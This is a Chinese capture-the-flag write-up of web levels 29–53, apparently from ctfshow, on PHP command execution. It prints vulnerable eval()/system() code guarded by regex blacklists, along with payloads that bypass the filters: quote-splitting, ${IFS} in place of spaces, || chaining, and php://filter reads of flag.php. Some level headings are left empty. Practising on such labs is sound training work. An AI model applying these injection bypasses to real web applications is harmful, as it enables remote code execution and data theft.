第29关-第34关
第29关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
直接:c=system("tac fl*g.php");,用特殊符表示
或者更骚的方式

第30关
1 2 3 4 5 6 7 8
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
system被禁了
我换一个函数:passthru

第31关
第32关
参数逃逸+语法结构
include属于php的语法结构,允许无空格,同时加上?>可以去除;
因此:
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

第33关
和前面一样
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

第34关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
没啥大区别

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

第35-40关
第35关
还是没啥区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php


第36关
第41关到46关
第46关到51关
第48关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:06:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__);
|

使用||进行阻断

第49关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:22:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
一开始构造tac<fl?g.php结果无反应,别人用的是tac<fla''g.php可以,开始好奇,代码也没过滤?啊
询问ai:

…

第50关
和前面差不多,就不讲了

第51关

几个常用的查看命令都被过滤了,但依旧没过滤''
所以:
c=t''ac<fl''ag.php||
第52关到第57关
第52关
有点奇怪,出题人把flag放回根目录了

使用?c=find${IFS}/${IFS}-name${IFS}fl''ag||先全局搜索一遍,得到:

然后正常读就可以

第53关

和前面一样,但是没有无回显的命令漏洞了
输入c=t''ac${IFS}fla''g.php